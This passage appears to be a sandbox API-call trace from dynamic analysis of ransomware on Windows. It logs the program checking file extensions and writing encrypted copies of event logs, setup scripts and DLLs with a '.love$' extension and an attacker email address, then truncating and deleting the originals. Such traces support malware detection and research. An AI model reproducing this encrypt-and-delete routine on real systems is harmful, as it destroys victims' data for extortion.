lpString2="evtx") returned -1 [0123.100] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.100] lstrlenW (lpString=".jpg") returned 4 [0123.100] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.101] lstrlenW (lpString=".doc") returned 4 [0123.101] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString=".docx") returned 5 [0123.101] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.101] lstrlenW (lpString=".pdf") returned 4 [0123.101] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString=".xls") returned 4 [0123.101] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString=".xlsx") returned 5 [0123.101] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.101] lstrlenW (lpString=".ppt") returned 4 [0123.101] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.101] lstrlenW (lpString=".zip") returned 4 [0123.101] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString=".rar") returned 4 [0123.101] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString=".bz2") returned 4 [0123.101] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString=".7z") returned 3 [0123.101] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.101] lstrlenW (lpString=".dbf") returned 4 [0123.101] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.101] lstrlenW (lpString=".1cd") returned 4 [0123.101] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0123.102] lstrlenW (lpString=".jpg") returned 4 [0123.102] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.102] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.102] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0123.102] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0123.102] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0123.102] CloseHandle (hObject=0x2b8) returned 1 [0123.103] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0123.103] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.103] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0123.103] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.103] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.103] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.104] GetLastError () returned 0x0 [0123.105] ReadFile (in: hFile=0x2b8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.108] WriteFile (in: hFile=0x3a0, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.111] ReadFile (in: hFile=0x2b8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.111] WriteFile (in: hFile=0x3a0, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x164, lpOverlapped=0x0) returned 1 [0123.111] SetEndOfFile (hFile=0x3a0) returned 1 [0123.111] CloseHandle (hObject=0x3a0) returned 1 [0123.766] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.766] SetEndOfFile (hFile=0x2b8) Thread: id = 11 os_tid = 0x12b8 [0093.419] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x55e280 [0093.419] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x56e288 [0093.420] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab50 [0093.420] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d2c0 [0093.421] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab80 [0093.421] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x35d6020 [0093.425] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab98 [0093.425] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50ab98, Size=0x20) returned 0x4eebd8 [0093.425] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab98 [0093.425] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50ab98, Size=0x20) returned 0x4eeae8 [0093.425] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.425] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.425] Wow64DisableWow64FsRedirection (in: OldValue=0x2a9ff50 | out: OldValue=0x2a9ff50*=0x0) returned 1 [0093.426] lstrlenW (lpString="kernel32.dll") returned 12 [0093.426] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.426] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.426] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.426] Sleep (dwMilliseconds=0x64) [0093.965] Sleep (dwMilliseconds=0x64) [0094.385] lstrcmpiW (lpString1=".cmd", lpString2=".love$") returned -1 [0094.385] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0094.385] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.387] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=307) returned 1 [0094.387] CloseHandle (hObject=0x2c8) returned 1 [0094.387] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0094.387] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.388] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.388] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.388] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.388] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0094.388] GetLastError () returned 0x0 [0094.388] ReadFile (in: hFile=0x2c8, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x133, lpOverlapped=0x0) returned 1 [0094.405] WriteFile (in: hFile=0x2d4, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x140, lpOverlapped=0x0) returned 1 [0094.407] ReadFile (in: hFile=0x2c8, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.407] WriteFile (in: hFile=0x2d4, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0094.488] SetEndOfFile (hFile=0x2d4) returned 1 [0094.488] CloseHandle (hObject=0x2d4) returned 1 [0094.493] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.493] SetEndOfFile (hFile=0x2c8) returned 1 [0094.494] CloseHandle (hObject=0x2c8) returned 1 [0094.494] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.495] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0094.495] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.495] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.495] lstrlenW (lpString=".doc") returned 4 [0094.495] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.495] lstrlenW (lpString=".docx") returned 5 [0094.495] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.495] lstrlenW (lpString=".pdf") returned 4 [0094.495] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0094.495] lstrlenW (lpString=".xls") returned 4 [0094.495] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0094.495] lstrlenW (lpString=".xlsx") returned 5 [0094.495] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0094.495] lstrlenW (lpString=".ppt") returned 4 [0094.495] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0094.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.496] lstrlenW (lpString=".zip") returned 4 [0094.496] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0094.496] lstrlenW (lpString=".rar") returned 4 [0094.496] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0094.496] lstrlenW (lpString=".bz2") returned 4 [0094.496] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.496] lstrlenW (lpString=".7z") returned 3 [0094.496] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.496] lstrlenW (lpString=".dbf") returned 4 [0094.496] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.496] lstrlenW (lpString=".1cd") returned 4 [0094.496] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.496] lstrlenW (lpString=".jpg") returned 4 [0094.496] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0094.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.497] lstrlenW (lpString=".doc") returned 4 [0094.497] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString=".docx") returned 5 [0094.497] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.497] lstrlenW (lpString=".pdf") returned 4 [0094.497] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString=".xls") returned 4 [0094.497] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString=".xlsx") returned 5 [0094.497] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0094.497] lstrlenW (lpString=".ppt") returned 4 [0094.497] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.497] lstrlenW (lpString=".zip") returned 4 [0094.497] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString=".rar") returned 4 [0094.497] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString=".bz2") returned 4 [0094.497] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.497] lstrlenW (lpString=".7z") returned 3 [0094.497] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.497] lstrlenW (lpString=".dbf") returned 4 [0094.497] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.497] lstrlenW (lpString=".1cd") returned 4 [0094.497] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0094.498] lstrlenW (lpString=".jpg") returned 4 [0094.498] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0094.498] Sleep (dwMilliseconds=0x64) [0096.172] Sleep (dwMilliseconds=0x64) [0096.705] Sleep (dwMilliseconds=0x64) [0097.220] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0097.220] lstrlenW (lpString="SetupResources.dll") returned 18 [0097.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0097.221] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=18264) returned 1 [0097.221] CloseHandle (hObject=0x33c) returned 1 [0097.225] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0097.225] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0097.226] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.226] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0097.229] GetLastError () returned 0x0 [0097.229] ReadFile (in: hFile=0x33c, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4758, lpOverlapped=0x0) returned 1 [0097.234] WriteFile (in: hFile=0x348, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4760, lpOverlapped=0x0) returned 1 [0097.238] ReadFile (in: hFile=0x33c, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.238] WriteFile (in: hFile=0x348, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0097.238] SetEndOfFile (hFile=0x348) returned 1 [0097.239] CloseHandle (hObject=0x348) returned 1 [0097.240] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.240] SetEndOfFile (hFile=0x33c) returned 1 [0097.241] CloseHandle (hObject=0x33c) returned 1 [0097.241] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.242] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0097.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.242] lstrlenW (lpString=".doc") returned 4 [0097.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.242] lstrlenW (lpString=".docx") returned 5 [0097.242] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0097.242] lstrlenW (lpString=".pdf") returned 4 [0097.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.242] lstrlenW (lpString=".xls") returned 4 [0097.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.243] lstrlenW (lpString=".xlsx") returned 5 [0097.243] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0097.243] lstrlenW (lpString=".ppt") returned 4 [0097.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.243] lstrlenW (lpString=".zip") returned 4 [0097.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.243] lstrlenW (lpString=".rar") returned 4 [0097.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.243] lstrlenW (lpString=".bz2") returned 4 [0097.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.243] lstrlenW (lpString=".7z") returned 3 [0097.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.243] lstrlenW (lpString=".dbf") returned 4 [0097.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.243] lstrlenW (lpString=".1cd") returned 4 [0097.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.243] lstrlenW (lpString=".jpg") returned 4 [0097.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.243] lstrlenW (lpString=".doc") returned 4 [0097.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.244] lstrlenW (lpString=".docx") returned 5 [0097.244] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0097.244] lstrlenW (lpString=".pdf") returned 4 [0097.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.244] lstrlenW (lpString=".xls") returned 4 [0097.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.244] lstrlenW (lpString=".xlsx") returned 5 [0097.244] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0097.244] lstrlenW (lpString=".ppt") returned 4 [0097.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.244] lstrlenW (lpString=".zip") returned 4 [0097.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.244] lstrlenW (lpString=".rar") returned 4 [0097.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.244] lstrlenW (lpString=".bz2") returned 4 [0097.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.244] lstrlenW (lpString=".7z") returned 3 [0097.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.244] lstrlenW (lpString=".dbf") returned 4 [0097.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.244] lstrlenW (lpString=".1cd") returned 4 [0097.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0097.244] lstrlenW (lpString=".jpg") returned 4 [0097.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.245] Sleep (dwMilliseconds=0x64) [0098.961] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0098.961] lstrlenW (lpString="SetupResources.dll") returned 18 [0098.961] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0098.962] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=18776) returned 1 [0098.962] CloseHandle (hObject=0x340) returned 1 [0098.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0098.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0098.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0098.963] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.963] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0098.965] GetLastError () returned 0x0 [0098.965] ReadFile (in: hFile=0x340, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x4958, lpOverlapped=0x0) returned 1 [0099.515] WriteFile (in: hFile=0x318, 